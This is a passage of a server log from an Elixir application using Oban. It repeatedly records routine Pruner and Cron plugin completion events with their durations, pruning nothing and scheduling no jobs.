{"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:49.377 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.680 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:19.379 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:49.381 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.681 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:19.383 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:49.385 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.682 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:19.387 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:49.389 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.683 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:19.391 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:49.393 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.684 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:19.395 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:49.397 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.685 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:19.399 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:49.401 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.686 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:19.403 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:49.405 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.688 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:19.407 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:49.409 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.689 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:19.411 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:49.413 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.690 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:19.415 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:49.417 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.691 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:19.419 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:49.421 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.692 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:19.424 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:49.426 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.693 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:19.428 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:49.430 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.694 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:19.433 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:49.435 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.695 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:19.437 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:49.439 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.696 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:19.441 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:49.443 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.697 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:19.445 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:49.447 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.698 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:19.450 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:49.452 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.699 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:19.454 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:49.456 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.700 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:19.458 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:49.460 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.701 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:19.462 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:49.464 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.702 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:19.466 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:49.468 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.703 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:19.470 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:49.472 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.704 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:19.474 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:49.476 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.705 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:19.478 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:49.480 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.706 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:19.482 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:49.484 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.707 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:19.486 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:49.488 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.708 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:19.490 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:49.492 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.709 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:19.494 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:49.496 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.710 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:19.498 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:49.500 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.711 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:19.502 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:49.504 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.712 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:19.506 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:49.508 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.713 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:19.510 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:49.512 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.714 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:19.513 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:49.516 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.715 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:19.518 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:49.520 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.716 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:19.522 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:49.524 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.717 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:19.526 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:49.528 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.718 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:19.530 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:49.532 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.719 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:19.534 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:49.536 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.720 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:19.538 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:49.540 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.721 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:19.542 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:49.544 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.722 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:19.546 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:49.548 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.723 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:19.550 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:49.552 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.724 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:19.554 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:49.556 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.725 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:19.558 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:49.560 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.726 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:19.562 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:49.564 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.727 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:19.566 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:49.568 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.728 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:19.570 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:49.572 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.729 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:19.574 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:49.576 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.730 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:19.578 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:49.580 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.731 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:19.582 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:49.583 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.732 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:19.586 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:49.588 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.733 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:19.590 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:49.592 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.734 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:19.594 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:49.596 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.735 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:19.598 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:49.600 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.736 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:19.602 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:49.604 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.737 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:19.606 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:49.608 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.738 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:19.610 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:49.612 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.739 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:19.614 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:49.616 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.740 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:19.618 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:49.620 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.741 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:19.622 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:49.624 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.742 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:19.626 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:49.628 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.743 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:19.630 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:49.632 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.744 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:19.634 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:49.636 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.745 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:19.638 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:49.640 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.746 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:19.642 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:49.644 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.747 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:19.646 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:49.648 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.748 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:19.650 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:49.652 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.749 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:19.655 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:49.657 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.750 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:19.659 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:49.661 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.751 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:19.663 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:49.665 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.752 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:19.667 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:49.669 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.753 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:19.671 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:49.674 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.754 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:19.676 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:49.678 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.755 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:19.680 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:49.682 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.756 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:19.684 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:49.686 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.757 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:19.688 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:49.690 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.758 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:19.692 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:49.694 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.759 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:19.696 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:49.698 [info] 